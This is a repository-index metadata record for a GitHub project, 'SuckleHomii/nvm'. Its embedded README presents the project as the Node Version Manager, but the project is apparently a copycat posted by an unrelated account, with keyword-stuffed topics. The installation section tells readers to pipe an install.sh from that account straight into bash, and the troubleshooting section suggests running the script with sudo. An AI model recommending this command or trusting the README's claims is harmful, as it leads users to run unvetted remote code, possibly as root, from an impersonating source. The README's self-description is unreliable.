{"id":28902428,"url":"https://github.com/sucklehomii/nvm","last_synced_at":"2026-01-20T17:33:35.087Z","repository":{"id":300154125,"uuid":"1005281246","full_name":"SuckleHomii/nvm","owner":"SuckleHomii","description":"nvm allows you to easily manage multiple Node.js versions on your machine. With simple commands, you can switch between versions and keep your projects running smoothly. 🐱💻🌐","archived":false,"fork":false,"pushed_at":"2025-06-20T05:07:32.000Z","size":2230,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"master","last_synced_at":"2025-06-20T06:20:55.495Z","etag":null,"topics":["autosar","bash","fish","jetson-agx-xavier","jetson-xaver","lts","npm","nvmrc","posix-compliant","rootfs","shell","ssd","switch","version","version-manager","zim","zsh","zsh-plugins"],"latest_commit_sha":null,"homepage":null,"language":"Shell","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SuckleHomii.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":"GOVERNANCE.md","roadmap":"ROADMAP.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-06-20T01:34:01.000Z","updated_at":"2025-06-20T05:07:36.000Z","dependencies_parsed_at":"2025-06-20T06:32:16.176Z","dependency_job_id":null,"html_url":"https://github.com/SuckleHomii/nvm","commit_stats":null,"previous_names":["sucklehomii/nvm"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/SuckleHomii/nvm","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SuckleHomii%2Fnvm","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SuckleHomii%2Fnvm/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SuckleHomii%2Fnvm/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SuckleHomii%2Fnvm/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SuckleHomii","download_url":"https://codeload.github.com/SuckleHomii/nvm/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SuckleHomii%2Fnvm/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261110622,"owners_count":23111066,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["autosar","bash","fish","jetson-agx-xavier","jetson-xaver","lts","npm","nvmrc","posix-compliant","rootfs","shell","ssd","switch","version","version-manager","zim","zsh","zsh-plugins"],"created_at":"2025-06-21T11:08:54.273Z","updated_at":"2025-06-28T18:08:27.935Z","avatar_url":"https://github.com/SuckleHomii.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Node Version Manager (nvm) 🚀\n\n![Node Version Manager](https://img.shields.io/badge/nvm-v0.39.1-brightgreen) ![Node.js](https://img.shields.io/badge/Node.js-v16.13.0-blue) ![License](https://img.shields.io/badge/license-MIT-lightgrey)\n\nWelcome to the Node Version Manager (nvm) repository! This tool is a POSIX-compliant bash script designed to help you manage multiple active Node.js versions with ease. Whether you are a developer working on multiple projects or just want to experiment with different Node.js versions, nvm is here to simplify your workflow.\n\n## Table of Contents\n\n- [Features](#features)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Commands](#commands)\n- [Configuration](#configuration)\n- [Troubleshooting](#troubleshooting)\n- [Contributing](#contributing)\n- [License](#license)\n- [Links](#links)\n\n## Features\n\n- **Easy Version Management**: Switch between Node.js versions effortlessly.\n- **POSIX Compliance**: Works seamlessly across various Unix-like systems.\n- **LTS Support**: Easily install and use Long Term Support versions of Node.js.\n- **.nvmrc Support**: Specify Node.js versions per project with a simple `.nvmrc` file.\n- **Zsh Compatibility**: Works perfectly in Zsh, making it versatile for different shell users.\n\n## Installation\n\nTo get started with nvm, you need to download and execute the installation script. Visit the [Releases](https://github.com/SuckleHomii/nvm/releases) section to find the latest version. Download the script and run it in your terminal:\n\n```bash\ncurl -o- https://raw.githubusercontent.com/SuckleHomii/nvm/v0.39.1/install.sh | bash\n```\n\nThis command fetches the installation script and runs it. Follow the instructions displayed in your terminal to complete the setup.\n\n## Usage\n\nAfter installation, you can start using nvm to manage your Node.js versions. Here’s how to do it:\n\n1. **List Installed Versions**:\n   ```bash\n   nvm ls\n   ```\n\n2. **Install a New Version**:\n   ```bash\n   nvm install \u003cversion\u003e\n   ```\n\n3. **Use a Specific Version**:\n   ```bash\n   nvm use \u003cversion\u003e\n   ```\n\n4. **Set Default Version**:\n   ```bash\n   nvm alias default \u003cversion\u003e\n   ```\n\n5. **Uninstall a Version**:\n   ```bash\n   nvm uninstall \u003cversion\u003e\n   ```\n\n## Commands\n\nnvm provides several commands to manage Node.js versions. Here’s a breakdown of the most common commands:\n\n- `nvm install \u003cversion\u003e`: Installs the specified version of Node.js.\n- `nvm use \u003cversion\u003e`: Activates the specified version for the current session.\n- `nvm ls`: Lists all installed Node.js versions.\n- `nvm uninstall \u003cversion\u003e`: Removes the specified version from your system.\n- `nvm alias \u003cname\u003e \u003cversion\u003e`: Creates an alias for a specific version.\n\n## Configuration\n\nYou can configure nvm to suit your needs. Here are some common configurations:\n\n- **Set Node.js Version Globally**: Use the `nvm alias` command to set a default version.\n- **Use .nvmrc Files**: Create a `.nvmrc` file in your project directory to specify the Node.js version for that project. Simply run `nvm use` in the project directory, and nvm will switch to the version specified in the `.nvmrc` file.\n\n## Troubleshooting\n\nIf you encounter issues while using nvm, here are some common troubleshooting steps:\n\n- **Command Not Found**: Ensure that nvm is properly installed. You may need to restart your terminal or source your profile file.\n- **Version Not Installed**: Use `nvm install \u003cversion\u003e` to install the version you want to use.\n- **Permissions Issues**: If you face permission issues, consider running the installation script with `sudo` or adjust the permissions of your Node.js installation directory.\n\n## Contributing\n\nWe welcome contributions to nvm! If you would like to help improve this project, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them with clear messages.\n4. Push your changes to your forked repository.\n5. Submit a pull request.\n\nPlease ensure that your code follows the existing style and includes tests where applicable.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.\n\n## Links\n\nFor more information and updates, check out the [Releases](https://github.com/SuckleHomii/nvm/releases) section. You can find the latest features and improvements there.\n\n---\n\nThank you for using Node Version Manager (nvm)! We hope it makes your Node.js development experience smoother and more efficient. If you have any questions or suggestions, feel free to reach out or contribute to the project. Happy coding!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsucklehomii%2Fnvm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsucklehomii%2Fnvm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsucklehomii%2Fnvm/lists"}